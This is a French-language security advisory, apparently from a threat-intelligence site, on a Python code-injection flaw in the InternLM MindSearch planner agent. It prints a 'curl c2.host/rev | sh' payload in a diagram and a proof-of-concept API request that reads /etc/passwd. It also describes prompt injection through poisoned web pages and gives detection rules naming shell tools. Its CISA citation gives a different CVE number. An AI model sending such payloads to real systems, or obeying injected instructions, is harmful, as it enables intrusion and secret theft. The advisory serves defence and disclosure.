CVE-2026-105135 : injection de code python dans l'action d'exécution de l'agent planificateur MindSearch d'InternLM
SCORE DE MENACE HERMES & EXPOSITION DE L'AGENT IA AUTONOME
Cible :Cadre multi-agents InternLM MindSearch — Agent planificateur et moteur d'exécution de graphes Le score CVSS v3.1 attribue la note maximale de 10.0 (Critique). Le score de menace Hermes évalue cette faille à 97 (CRITIQUE) avec un score de sécurité agentique (HASS) de 98 (EXTRÊME). MindSearch est un moteur de recherche multi-agents open source dans lequel un agent planificateur décompose les requêtes complexes en un graphe orienté acyclique (DAG) de sous-agents de recherche et d'exécution de code. La méthode ExecutionAction.run du fichier mindsearch/agent/graph.py reçoit des données de requêtes ou d'états intermédiaires et exécute directement du code Python sans validation par arbre syntaxique abstrait (AST), sans bac à sable ni isolation de conteneur. Un attaquant distant non authentifié peut injecter du code Python arbitraire s'exécutant avec les privilèges du processus serveur de l'agent sur la machine hôte, permettant l'exfiltration des poids de modèles, des clés d'API et des secrets d'infrastructure.
CVE-2026-105135: InternLM MindSearch Autonomous Planner Agent ExecutionAction Python Code InjectionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in InternLM MindSearch Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Anatomie technique de la vulnérabilité et cause racine
Section intitulée « 1. Anatomie technique de la vulnérabilité et cause racine »InternLM MindSearch orchestre la recherche d’informations complexes à travers des workflows multi-agents coordonnés. Le composant central est l’agent planificateur (Planner Agent), chargé de maintenir un graphe d’exécution dynamique. Chaque nœud de ce graphe représente une action de recherche web, une délégation vers un sous-agent ou un nœud de calcul Python chargé d’agréger les résultats intermédiaires.
Dans le module mindsearch/agent/graph.py, la classe ExecutionAction gère la logique de traitement des nœuds. Au lieu d’isoler l’exécution dans un conteneur sécurisé (Docker, gVisor ou bac à sable WASM), la fonction run() construit dynamiquement un script Python et transmet directement les entrées non assainies à la fonction exec() :
# Implémentation vulnérable dans mindsearch/agent/graph.py (v0.1.0)class ExecutionAction: def __init__(self, agent_config): self.config = agent_config
def run(self, inputs: dict) -> dict: """ Exécute le code généré par l'agent planificateur ou transmis dans l'état intermédiaire. Défaut : inputs['code'] est exécuté directement dans l'interpréteur Python hôte. """ code_to_exec = inputs.get("code", "") context_vars = inputs.get("context", {})
# Vulnérabilité : exécution directe sans contrôle AST ni bac à sable local_scope = dict(**context_vars) try: exec(code_to_exec, globals(), local_scope) return {"status": "success", "result": local_scope.get("result", None)} except Exception as e: return {"status": "error", "message": str(e)}Comme MindSearch expose un point d’entrée d’API non authentifié (souvent /solve ou /chat) qui transmet les invites utilisateur au constructeur de graphes, un adversaire peut injecter des instructions de prompt malveillantes ou soumettre directement un nœud d’action forgé contenant des commandes shell arbitraires.
+-------------------------------------------------------------------------+| EXÉCUTION DE CODE À DISTANCE SUR L'AGENT AUTONOME MINDSEARCH |+-------------------------------------------------------------------------+| || [Attaquant / Requête web non fiable] || │ || │ POST /solve {"inputs": "Calculer métriques et exécuter: ..."} || ▼ || [Agent planificateur (mindsearch/agent/graph.py)] || │ || ├─► Traduction en graphe de tâches (DAG) || │ || ├─► Génération du nœud : ExecutionAction || │ │ || │ ├─► code: "__import__('os').system('curl c2.host/rev | sh')"| │ │ || │ ▼ || │ ExecutionAction.run() || │ │ || │ ▼ [AUCUN BAC À SABLE / AUCUNE VALIDATION AST] || │ exec(code_to_exec, globals(), local_scope) || │ || ▼ || [Exécution shell hôte] ──► Exfiltration de clés API, poids et tokens || |+-------------------------------------------------------------------------+2. Matrice des versions affectées et remédiation
Section intitulée « 2. Matrice des versions affectées et remédiation »| Branche logicielle | Versions vulnérables | Version corrigée | Directive opérationnelle |
|---|---|---|---|
| InternLM MindSearch | <= 0.1.0 | 0.1.1 / Correctif manuel | Valider l’AST ou exécuter le code dans un bac à sable isolé |
3. Surface d’attaque et vecteur d’exploitation agentique
Section intitulée « 3. Surface d’attaque et vecteur d’exploitation agentique »L’exploitation peut être initiée soit par interaction directe avec l’API, soit par empoisonnement indirect de contenu web (indirect prompt injection). Lorsque l’agent extrait des extraits de pages externes non fiables contenant des instructions cachées, l’agent planificateur peut être manipulé pour synthétiser un nœud ExecutionAction contenant le code Python de l’attaquant.
Exemple de preuve de concept directe via l’API :
POST /solve HTTP/1.1Host: agent.internal-cluster.local:8002Content-Type: application/json
{ "inputs": "Calculer l'agrégat des indicateurs", "actions": [ { "name": "ExecutionAction", "args": { "code": "import subprocess; subprocess.run(['id; cat /etc/passwd'], shell=True)" } } ]}Lors de son évaluation, la commande s’exécute de manière synchrone sur le serveur GPU/CPU hébergeant l’instance MindSearch, héritant des variables d’environnement, y compris les jetons HuggingFace, les clés API OpenAI et les certificats Kubernetes.
4. Détection forensique et triage des incidents
Section intitulée « 4. Détection forensique et triage des incidents »title: Création de sous-processus suspect depuis l'agent MindSearchid: 9a38f712-4521-4d92-bb12-mindsearch-rce-frstatus: experimentaldescription: Détecte la création anormale de sous-processus shell (bash, sh, curl, wget, nc) issus des processus Python hébergeant le framework MindSearch.author: Hermes Codex Threat Intelligencedate: 2026-10-05references: - https://nvd.nist.gov/vuln/detail/CVE-2026-105135 - https://github.com/InternLM/MindSearch/issues/128logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/python' - '/python3' ParentCommandLine|contains: - 'mindsearch' - 'mindsearch.app' selection_child: Image|endswith: - '/bash' - '/sh' - '/dash' - '/curl' - '/wget' - '/nc' - '/ncat' condition: selection_parent and selection_childfalsepositives: - Scripts bash personnalisés explicitement configurés dans des environnements de laboratoirelevel: critical// Azure Sentinel / Microsoft Defender for Endpoint// Détection de processus shell lancés par l'agent Python MindSearchDeviceProcessEvents| where InitiatingProcessCommandLine has "mindsearch"| where FileName in~ ("bash", "sh", "dash", "zsh", "python", "curl", "wget", "nc")| project Timestamp, DeviceName, ActionType, FileName, CommandLine, InitiatingProcessCommandLine, AccountName| order by Timestamp desc#!/bin/bash# Script d'audit pour environnement local MindSearchecho "=== [1] Vérification du paquet MindSearch installé ==="python3 -c "import mindsearch; print('Version MindSearch :', getattr(mindsearch, '__version__', 'inconnue'))" 2>/dev/null
echo "=== [2] Recherche de l'appel exec() non sécurisé dans graph.py ==="find $(python3 -c "import site; print(site.getsitepackages()[0])" 2>/dev/null) -name "graph.py" -path "*mindsearch*" -exec grep -n "exec(" {} +
echo "=== [3] Recherche de connexions sortantes suspectes ==="ss -tupn | grep -E 'python.*(curl|bash|wget)'5. Stratégie de remédiation et durcissement
Section intitulée « 5. Stratégie de remédiation et durcissement »-
Appliquer un correctif sur
mindsearch/agent/graph.py: remplacer l’appel direct àexec()par un validateur AST strict ou déléguer l’exécution à un conteneur éphémère isolé sans accès réseau :# Exemple de filtrage AST sécuriséimport astALLOWED_NODES = {ast.Module, ast.Expr, ast.Assign, ast.Constant, ast.Name,ast.BinOp, ast.UnaryOp, ast.Add, ast.Sub, ast.Mult, ast.Div,ast.List, ast.Dict, ast.Load, ast.Store}def validate_safe_ast(code_str: str):tree = ast.parse(code_str)for node in ast.walk(tree):if type(node) not in ALLOWED_NODES:raise SecurityError(f"Type de nœud AST non autorisé : {type(node).__name__}") -
Isoler l’environnement d’exécution de l’agent : exécuter MindSearch dans un conteneur non privilégié avec système de fichiers racine en lecture seule et suppression des capacités Linux :
USER 10001:10001SECURITY_OPTS:- no-new-privileges:trueCAP_DROP:- ALL -
Mettre en place une passerelle d’authentification : placer les ports d’API de MindSearch derrière un reverse proxy authentifié (Envoy, Traefik ou Cloudflare Access) et ne jamais exposer directement le port 8002 sur des réseaux non fiables.
-
Renouveler les secrets d’infrastructure : si des instances étaient exposées sans authentification, renouveler sans délai les clés d’API (OpenAI, Anthropic, HuggingFace) et les identifiants de bases de données.